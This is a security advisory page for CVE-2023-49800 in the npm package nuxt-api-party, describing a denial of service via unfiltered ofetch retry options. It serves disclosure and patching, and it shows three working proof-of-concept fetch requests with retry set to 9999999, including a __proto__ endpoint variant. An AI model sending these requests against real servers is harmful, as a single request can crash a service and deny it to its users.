GHSA-Q6HX-3M4P-749H
Vulnerability from github – Published: 2023-12-11 20:29 – Updated: 2023-12-11 20:29Summary
nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. ofetch is used to send the requests.
The library allows the user to send many options directly to ofetch. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.
Details
fetchOptions are obtained directly from the request body. These are then passed directly into ofetch
.
We can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively.
PoC
POC using Node.
await fetch("http://localhost:3000/api/__api_party/MyEndpoint", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
We can use __proto__ as a substitute for the endpoint if it is not known.
await fetch("http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
We can build the size of the stack faster by using more complicated URIs
await fetch("http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "data:x;base64,----", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
Impact
Full DOS, server is unusable during attack. Requires a single request.
Fix
Limit which options can be passed to ofetch.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nuxt-api-party"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-49800"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-11T20:29:10Z",
"nvd_published_at": "2023-12-09T00:15:07Z",
"severity": "HIGH"
},
"details": "### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [`ofetch`](https://github.com/unjs/ofetch) is used to send the requests. \n\nThe library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.\n\n### Details\n`fetchOptions` [are obtained directly from the request body](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L27). These are then [passed directly into `ofetch`\n](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L57C15-L57C15).\n\nWe can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively. \n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/MyEndpoint\", {\n method: \"POST\",\n body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n method: \"POST\",\n body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can build the size of the stack faster by using more complicated URIs\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n method: \"POST\",\n body: JSON.stringify({ path: \"data:x;base64,----\", retry: 9999999 }),\n headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nFull DOS, server is unusable during attack. Requires a single request. \n\n### Fix \nLimit which options can be passed to `ofetch`.\n",
"id": "GHSA-q6hx-3m4p-749h",
"modified": "2023-12-11T20:29:10Z",
"published": "2023-12-11T20:29:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/johannschopplich/nuxt-api-party/security/advisories/GHSA-q6hx-3m4p-749h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49800"
},
{
"type": "PACKAGE",
"url": "https://github.com/johannschopplich/nuxt-api-party"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "DOS by abusing `fetchOptions.retry`. "
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.